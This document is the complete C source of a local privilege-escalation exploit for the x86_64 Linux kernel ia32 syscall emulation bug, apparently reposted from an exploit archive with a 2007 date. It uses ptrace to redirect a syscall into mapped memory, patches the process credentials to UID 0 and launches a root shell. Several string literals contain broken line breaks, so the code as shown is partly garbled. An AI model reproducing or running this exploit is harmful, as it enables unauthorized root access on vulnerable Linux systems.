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linux-syscall.txt

Posted on 28 September 2007

/*
* exploit for x86_64 linux kernel ia32syscall emulation
* bug, discovered by Wojciech Purczynski <cliph_at_isec.pl>
*
* by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
* of ATM-Lab http://www.atm-lab.pl
*/

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

for (i = 200; i < 1000; i+=1) {

ptr = (uint32_t*) (gs + i);

if ((ptr[0] == uid) && (ptr[1] == euid)
&& (ptr[2] == suid) && (ptr[3] == uid)) {
ptr[0] = 0; //UID
ptr[1] = 0; //EUID
ptr[2] = 0; //SUID

break;
}
}

}

static void docall(uint64_t *ptr, uint64_t size)
{
getresuid(&uid, &euid, &suid);

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault
");
exit(1);
}

for (; ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;

__asm__("
"
"	movq $0x101, %rax
"
"	int $0x80
");

printf("UID %d, EUID:%d GID:%d, EGID:%d
", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", 0);
printf("no /bin/sh ??
");
exit(0);
}

int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;

if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}

if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", 0);
perror("exec fault");
exit(1);
}

if (pid == -1) {
printf("fork fault
");
exit(1);
}

for (;;) {
if (wait(&status) != pid)
continue;

if (WIFEXITED(status)) {
printf("Process finished
");
break;
}

if (!WIFSTOPPED(status))
continue;

if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d
", WSTOPSIG(status));
break;
}

rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault
");
exit(1);
}
set = 1;
}

if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}

if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault
");
exit(1);
}
}

return 0;
}

 

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